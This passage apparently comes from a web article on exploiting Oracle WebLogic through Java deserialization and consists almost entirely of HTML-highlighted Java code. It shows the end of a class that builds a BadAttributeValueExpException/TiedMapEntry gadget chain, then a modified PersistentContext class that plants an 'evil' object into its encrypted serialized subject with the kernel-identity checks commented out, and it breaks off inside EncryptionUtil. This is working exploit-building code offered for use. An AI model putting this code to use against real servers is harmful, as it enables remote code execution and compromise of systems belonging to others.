class="code-snippet__string">&#34;val&#34;</span>, tiedMapEntry);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> badAttributeValueExpException;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setValue</span><span class="code-snippet__params">(Object obj, String name, Object value)</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer">        Field field = obj.getClass().getDeclaredField(name);</span></code><code><span class="code-snippet_outer">        field.setAccessible(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">        field.set(obj, value);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//PersistentContext</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> weblogic.wsee.jaxws.persistence;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.istack.NotNull;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.istack.Nullable;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ByteArrayInputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ByteArrayOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.IOException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ObjectInputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ObjectOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.Serializable;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.security.AccessController;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Map;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Set;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.concurrent.locks.ReentrantReadWriteLock;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.kernel.KernelStatus;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.security.acl.internal.AuthenticatedSubject;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.security.service.PrivilegedActions;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.security.service.SecurityServiceManager;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.security.subject.SubjectManager;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.wsee.WseeCoreLogger;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.wsee.persistence.AbstractStorable;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//import weblogic.wsee.server.EncryptionUtil;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.wsee.jaxws.persistence.EncryptionUtil;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">PersistentContext</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">AbstractStorable</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">long</span> serialVersionUID = <span class="code-snippet__number">1L</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> AuthenticatedSubject KERNEL_ID = (AuthenticatedSubject)AccessController.doPrivileged(PrivilegedActions.getKernelIdentityAction());</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">transient</span> ReentrantReadWriteLock _lock;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> Map&lt;String, Serializable&gt; _propertyMap;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> Set&lt;String&gt; _propBagClassNames;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> Map&lt;String, Serializable&gt; _contextPropertyMap;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> Map&lt;String, Serializable&gt; _invocationPropertyMap;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> AuthenticatedSubject _subject;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> PersistentContext.State _state;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> Object evil;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> PersistentContextStore <span class="code-snippet__title">getStoreMap</span><span class="code-snippet__params">(String var0)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> PersistentContextStore.getStore(var0);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception var2) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> RuntimeException(var2.toString(), var2);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> AuthenticatedSubject <span class="code-snippet__title">getCurrentSubject</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        AuthenticatedSubject var0 = SecurityServiceManager.getCurrentSubject(KERNEL_ID);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> var0;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeObject</span><span class="code-snippet__params">(ObjectOutputStream var1)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().lock();</span></code><code><span class="code-snippet_outer">            var1.writeObject(<span class="code-snippet__keyword">this</span>._propertyMap);</span></code><code><span class="code-snippet_outer">            var1.writeObject(<span class="code-snippet__keyword">this</span>._propBagClassNames);</span></code><code><span class="code-snippet_outer">            var1.writeObject(<span class="code-snippet__keyword">this</span>._contextPropertyMap);</span></code><code><span class="code-snippet_outer">            var1.writeObject(<span class="code-snippet__keyword">this</span>._invocationPropertyMap);</span></code><code><span class="code-snippet_outer">            var1.writeObject(<span class="code-snippet__keyword">this</span>._state);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.writeSubject(var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().unlock();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeSubject</span><span class="code-snippet__params">(ObjectOutputStream var1)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        ByteArrayOutputStream var2 = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">        ObjectOutputStream var3 = <span class="code-snippet__keyword">new</span> ObjectOutputStream(var2);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//if (SubjectManager.getSubjectManager().isKernelIdentity(this._subject)) {</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//    AuthenticatedSubject var4 = (AuthenticatedSubject)SubjectManager.getSubjectManager().getAnonymousSubject();</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//    var3.writeObject(var4);</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//} else {</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//    var3.writeObject(this._subject);</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//}</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            var3.writeObject(<span class="code-snippet__keyword">this</span>.evil);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        var3.flush();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span>[] var5 = var2.toByteArray();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//if (KernelStatus.isServer()) {</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//    var5 = EncryptionUtil.encrypt(var5);</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//}</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//var5 = EncryptionUtil.encrypt(var5);</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        var5 = EncryptionUtil.getEncryptionService().encryptBytes((<span class="code-snippet__keyword">byte</span> []) var5);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        var1.writeInt(var5.length);</span></code><code><span class="code-snippet_outer">        var1.write(var5);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">readObject</span><span class="code-snippet__params">(ObjectInputStream var1)</span> <span class="code-snippet__keyword">throws</span> IOException, ClassNotFoundException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.initTransients();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.writeLock().lock();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._propertyMap = (Map)var1.readObject();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._propBagClassNames = (Set)var1.readObject();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._contextPropertyMap = (Map)var1.readObject();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._invocationPropertyMap = (Map)var1.readObject();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._state = (PersistentContext.State)var1.readObject();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.readSubject(var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.writeLock().unlock();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">initTransients</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>._lock = <span class="code-snippet__keyword">new</span> ReentrantReadWriteLock(<span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">readSubject</span><span class="code-snippet__params">(ObjectInputStream var1)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">int</span> var2 = var1.readInt();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">byte</span>[] var3 = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[var2];</span></code><code><span class="code-snippet_outer">            var1.readFully(var3);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (KernelStatus.isServer()) {</span></code><code><span class="code-snippet_outer">                var3 = EncryptionUtil.decrypt(var3);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            ByteArrayInputStream var4 = <span class="code-snippet__keyword">new</span> ByteArrayInputStream(var3);</span></code><code><span class="code-snippet_outer">            ObjectInputStream var5 = <span class="code-snippet__keyword">new</span> ObjectInputStream(var4);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._subject = (AuthenticatedSubject)var5.readObject();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception var6) {</span></code><code><span class="code-snippet_outer">            WseeCoreLogger.logUnexpectedException(<span class="code-snippet__string">&#34;Couldn&#39;t completely read PersistentContext subject&#34;</span>, var6);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">PersistentContext</span><span class="code-snippet__params">(@NotNull String var1, @NotNull Map&lt;String, Serializable&gt; var2, @NotNull Set&lt;String&gt; var3, @Nullable Map&lt;String, Serializable&gt; var4, @NotNull Map&lt;String, Serializable&gt; var5,Object evil)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>(var1);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>._propertyMap = var2;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>._propBagClassNames = var3;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>._contextPropertyMap = var4;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>._invocationPropertyMap = var5;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>._state = PersistentContext.State.UNUSED;</span></code><code><span class="code-snippet_outer">        AuthenticatedSubject var6 = getCurrentSubject();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.evil = evil;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//if (SecurityServiceManager.isKernelIdentity(var6)) {</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//    throw new IllegalStateException(&#34;Attempt to create PersistentContext using kernel identity. All actions that can create PersistentContext must run as a user principal&#34;);</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//} else {</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//    this._subject = var6;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//    this.initTransients();</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// }</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>._subject = var6;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.initTransients();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@NotNull</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Map&lt;String, Serializable&gt; <span class="code-snippet__title">getPropertyMap</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        Map var1;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().lock();</span></code><code><span class="code-snippet_outer">            var1 = <span class="code-snippet__keyword">this</span>._propertyMap;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().unlock();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> var1;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@NotNull</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Set&lt;String&gt; <span class="code-snippet__title">getPropertyBagClassNames</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        Set var1;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().lock();</span></code><code><span class="code-snippet_outer">            var1 = <span class="code-snippet__keyword">this</span>._propBagClassNames;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().unlock();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> var1;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Nullable</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Map&lt;String, Serializable&gt; <span class="code-snippet__title">getContextPropertyMap</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        Map var1;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().lock();</span></code><code><span class="code-snippet_outer">            var1 = <span class="code-snippet__keyword">this</span>._contextPropertyMap;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().unlock();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> var1;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@NotNull</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Map&lt;String, Serializable&gt; <span class="code-snippet__title">getInvocationPropertyMap</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        Map var1;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().lock();</span></code><code><span class="code-snippet_outer">            var1 = <span class="code-snippet__keyword">this</span>._invocationPropertyMap;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().unlock();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> var1;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> PersistentContext.<span class="code-snippet__function">State <span class="code-snippet__title">getState</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>._lock.readLock().lock();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        PersistentContext.State var1;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            var1 = <span class="code-snippet__keyword">this</span>._state;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().unlock();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> var1;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setState</span><span class="code-snippet__params">(PersistentContext.State var1)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>._lock.writeLock().lock();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._state = var1;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.writeLock().unlock();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@NotNull</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> String <span class="code-snippet__title">getSubjectAsString</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        String var1;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().lock();</span></code><code><span class="code-snippet_outer">            var1 = <span class="code-snippet__keyword">this</span>._subject.toString();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().unlock();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> var1;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function">AuthenticatedSubject <span class="code-snippet__title">getSubject</span><span class="code-snippet__params">(AuthenticatedSubject var1)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!SecurityServiceManager.isKernelIdentity(var1)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> SecurityException(<span class="code-snippet__string">&#34;Unauthorized access to PersistentContext.getSubject()&#34;</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            AuthenticatedSubject var2;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>._lock.readLock().lock();</span></code><code><span class="code-snippet_outer">                var2 = <span class="code-snippet__keyword">this</span>._subject;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>._lock.readLock().unlock();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> var2;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> String <span class="code-snippet__title">getMessageId</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        String var1;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().lock();</span></code><code><span class="code-snippet_outer">            var1 = (String)<span class="code-snippet__keyword">this</span>.getObjectId();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().unlock();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> var1;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">boolean</span> <span class="code-snippet__title">hasExplicitExpiration</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>._lock.readLock().lock();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">boolean</span> var1;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            var1 = <span class="code-snippet__keyword">this</span>._state == PersistentContext.State.IN_USE;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().unlock();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> var1;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">boolean</span> <span class="code-snippet__title">isExpired</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>._lock.readLock().lock();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">boolean</span> var1;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            var1 = <span class="code-snippet__keyword">this</span>._state != PersistentContext.State.IN_USE;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>._lock.readLock().unlock();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> var1;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">enum</span> State {</span></code><code><span class="code-snippet_outer">        UNUSED,</span></code><code><span class="code-snippet_outer">        IN_USE,</span></code><code><span class="code-snippet_outer">        OBSOLETE;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__title">State</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//EncryptionUtil</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> weblogic.wsee.jaxws.persistence;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.security.AccessController;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.kernel.Kernel;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> 